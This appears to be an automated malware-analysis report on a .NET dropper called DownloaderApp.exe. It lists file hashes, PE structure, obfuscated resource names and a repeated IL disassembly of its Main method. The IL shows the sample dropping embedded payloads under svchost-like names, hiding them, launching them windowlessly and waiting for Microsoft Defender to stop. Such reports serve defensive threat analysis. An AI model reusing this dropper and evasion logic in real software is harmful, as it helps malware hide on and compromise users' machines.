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b23c208f9edf7873141ab84ea51dd465

PE Executable
MD5: b23c208f9edf7873141ab84ea51dd465
Size: 5.08 MB
application/x-dosexec

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Symbol Obfuscation Score Medium
MD5 b23c208f9edf7873141ab84ea51dd465
Sha1 b867c9641d7b58bd5c729aa5becc2dba9b6c8a2a
Sha256 eea0252ad1d6a926f9c389a67d68bf4e21c24f843770f92b47d9cf10bf91748e
Sha384 3c08d8f4817e18074cb6bcdce1b01a6b0d336e3b0cb98159d808f2b2b6820ec7d8080d85a5892964e32e98154ffadeab
Sha512 91a03e3bdce41da35eff8d5647d5452f65d79ed2efc3643f8cabe9e3a392701912ce3c7ceb393277a19ae3a6bb0954deb4f0f0bb5f4d87adfafbde3931a16dfd
SSDeep 98304:WkgCj61flKG2Ac23hw0ga0O1mgYcXBWCJE8g4EhhrHEZrs5v/PfTkinS/G:WkgxKGpV35V513YUBNJEV3HcsNHfTkiP
TLSH 5B3633C7EAB3C344ECB16E3719B1B50602E257D5B2FE4C7F585469B4D01224BEA7838A
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NETUPolyX 0.3 -> delikon
b23c208f9edf7873141ab84ea51dd465
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
UVuEZQRBfHLu.7OEcD.Bco1O
UVuEZQRBfHLu.hSWVDY.A3KAx
UVuEZQRBfHLu.6VgyHu.IIdE
UVuEZQRBfHLu.vvF8DH.jsv
Name Value
Info
PE Detect: PeReader OK (file layout)
Info 
PDB Path: C:\10\boot\Downloader_winer\DownloaderApp\DownloaderApp\obj\Release\DownloaderApp.pdb
Module Name
DownloaderApp.exe
Full Name
DownloaderApp.exe
EntryPoint
System.Void A.B::Main(System.String[])
Scope Name
DownloaderApp.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
DownloaderApp
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
29
Main Method
System.Void A.B::Main(System.String[])
Main IL Instruction Count
146
Main IL 
call System.String System.IO.Path::GetTempPath()
ldstr svchostmanager.exe
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.0 <null>
call System.String System.IO.Path::GetTempPath()
ldstr svchostam.exe
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.1 <null>
ldstr UVuEZQRBfHLu.6VgyHu.IIdE
ldloc.0 <null>
call System.Void A.B::F(System.String,System.String)
ldloc.0 <null>
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
ldstr UVuEZQRBfHLu.vvF8DH.jsv
ldloc.1 <null>
call System.Void A.B::F(System.String,System.String)
ldloc.1 <null>
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
leave.s IL_0049: call System.Boolean A.B::C()
pop <null>
leave.s IL_0049: call System.Boolean A.B::C()
call System.Boolean A.B::C()
brtrue.s IL_00C6: call System.Boolean System.Environment::get_UserInteractive()
ldloc.0 <null>
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_007F: call System.Void A.B::D()
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
call System.Void A.B::D()
leave.s IL_008C: ldc.i4 3000
pop <null>
leave IL_01AD: ret
ldc.i4 3000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldloc.1 <null>
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_00C5: ret
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ret <null>
call System.Boolean System.Environment::get_UserInteractive()
brtrue.s IL_00D8: nop
newobj System.Void A.E::.ctor()
call System.Void System.ServiceProcess.ServiceBase::Run(System.ServiceProcess.ServiceBase)
ret <null>
nop <null>
ldstr svchosthelper.exe
stloc.2 <null>
ldstr systemhelper.exe
stloc.3 <null>
ldstr WindowsLogsHelper
stloc.s V_4
ldc.i4.s 36
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
dup <null>
ldloc.2 <null>
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.s V_5
ldloc.3 <null>
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.s V_6
ldstr UVuEZQRBfHLu.7OEcD.Bco1O
ldloc.s V_5
call System.Void A.B::F(System.String,System.String)
ldstr UVuEZQRBfHLu.hSWVDY.A3KAx
ldloc.s V_6
call System.Void A.B::F(System.String,System.String)
ldloc.s V_5
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
ldloc.s V_6
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
call System.Void A.B::H()
ldloc.s V_5
ldloc.s V_4
call System.Void A.B::I(System.String,System.String)
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.s V_6
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ldc.r8 3
call System.TimeSpan System.TimeSpan::FromMinutes(System.Double)
call System.Boolean A.B::WaitForDefenderStopped(System.TimeSpan)
brfalse.s IL_01A8: leave.s IL_01AD
ldloc.s V_5
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_01A8: leave.s IL_01AD
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.s V_5
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
leave.s IL_01AD: ret
pop <null>
leave.s IL_01AD: ret
ret <null>
Module Name
DownloaderApp.exe
Full Name
DownloaderApp.exe
EntryPoint
System.Void A.B::Main(System.String[])
Scope Name
DownloaderApp.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
DownloaderApp
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
29
Main Method
System.Void A.B::Main(System.String[])
Main IL Instruction Count
146
Main IL 
call System.String System.IO.Path::GetTempPath()
ldstr svchostmanager.exe
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.0 <null>
call System.String System.IO.Path::GetTempPath()
ldstr svchostam.exe
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.1 <null>
ldstr UVuEZQRBfHLu.6VgyHu.IIdE
ldloc.0 <null>
call System.Void A.B::F(System.String,System.String)
ldloc.0 <null>
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
ldstr UVuEZQRBfHLu.vvF8DH.jsv
ldloc.1 <null>
call System.Void A.B::F(System.String,System.String)
ldloc.1 <null>
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
leave.s IL_0049: call System.Boolean A.B::C()
pop <null>
leave.s IL_0049: call System.Boolean A.B::C()
call System.Boolean A.B::C()
brtrue.s IL_00C6: call System.Boolean System.Environment::get_UserInteractive()
ldloc.0 <null>
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_007F: call System.Void A.B::D()
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
call System.Void A.B::D()
leave.s IL_008C: ldc.i4 3000
pop <null>
leave IL_01AD: ret
ldc.i4 3000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldloc.1 <null>
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_00C5: ret
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ret <null>
call System.Boolean System.Environment::get_UserInteractive()
brtrue.s IL_00D8: nop
newobj System.Void A.E::.ctor()
call System.Void System.ServiceProcess.ServiceBase::Run(System.ServiceProcess.ServiceBase)
ret <null>
nop <null>
ldstr svchosthelper.exe
stloc.2 <null>
ldstr systemhelper.exe
stloc.3 <null>
ldstr WindowsLogsHelper
stloc.s V_4
ldc.i4.s 36
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
dup <null>
ldloc.2 <null>
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.s V_5
ldloc.3 <null>
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.s V_6
ldstr UVuEZQRBfHLu.7OEcD.Bco1O
ldloc.s V_5
call System.Void A.B::F(System.String,System.String)
ldstr UVuEZQRBfHLu.hSWVDY.A3KAx
ldloc.s V_6
call System.Void A.B::F(System.String,System.String)
ldloc.s V_5
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
ldloc.s V_6
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
call System.Void A.B::H()
ldloc.s V_5
ldloc.s V_4
call System.Void A.B::I(System.String,System.String)
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.s V_6
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ldc.r8 3
call System.TimeSpan System.TimeSpan::FromMinutes(System.Double)
call System.Boolean A.B::WaitForDefenderStopped(System.TimeSpan)
brfalse.s IL_01A8: leave.s IL_01AD
ldloc.s V_5
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_01A8: leave.s IL_01AD
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.s V_5
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
leave.s IL_01AD: ret
pop <null>
leave.s IL_01AD: ret
ret <null>
b23c208f9edf7873141ab84ea51dd465
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
UVuEZQRBfHLu.7OEcD.Bco1O
UVuEZQRBfHLu.hSWVDY.A3KAx
UVuEZQRBfHLu.6VgyHu.IIdE
UVuEZQRBfHLu.vvF8DH.jsv
No malware configuration was found at this point.
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